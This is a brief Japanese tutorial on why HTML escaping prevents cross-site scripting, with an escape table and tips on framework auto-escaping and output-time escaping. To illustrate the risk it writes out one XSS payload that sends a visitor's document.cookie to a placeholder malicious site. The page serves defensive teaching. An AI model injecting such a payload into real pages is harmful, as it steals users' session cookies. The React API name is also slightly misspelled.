HTMLエスケープ（サニタイズ）が必要な理由｜XSS攻撃を防ぐ基礎知識

セキュリティ Web開発 XSS
結論

**「ユーザーからの入力はすべて悪意がある」**と想定せよ。< や > を &lt; や &gt; に変換することで、スクリプトの実行（XSS）を防ぐことができます。

HTMLエスケープの変換表

記号 エスケープ後の文字列
`<` `&lt;`
`>` `&gt;`
`&` `&amp;`
`"` `&quot;`
`'` `&#39;`

🛡️ この場でHTMLエスケープする

なぜエスケープしないと危険なのか？

掲示板などの入力フォームに以下のスクリプトを書き込まれたとします。

<script>location.href="http://悪意のあるサイト.com?cookie="+document.cookie</script>

これをそのままHTMLとして出力してしまうと、ページを訪れたユーザーのクッキー（ログイン情報など）が盗まれてしまいます。これが**クロスサイトスクリプティング（XSS）**の代表的な例です。

実装のポイント

  • 基本はフレームワークに任せる — React, Vue, Astro, Railsなどのモダンなフレームワークは、標準で出力を自動エスケープしてくれます。
  • 生出力を避ける — innerHTML や dangerousSetInnerHTML など、意図的にエスケープを外す関数を使う際は、細心の注意が必要です。
  • 入力時ではなく出力時に行う — データベースには生の値を保存し、ブラウザに表示する直前にエスケープするのが現在の一般的な設計です。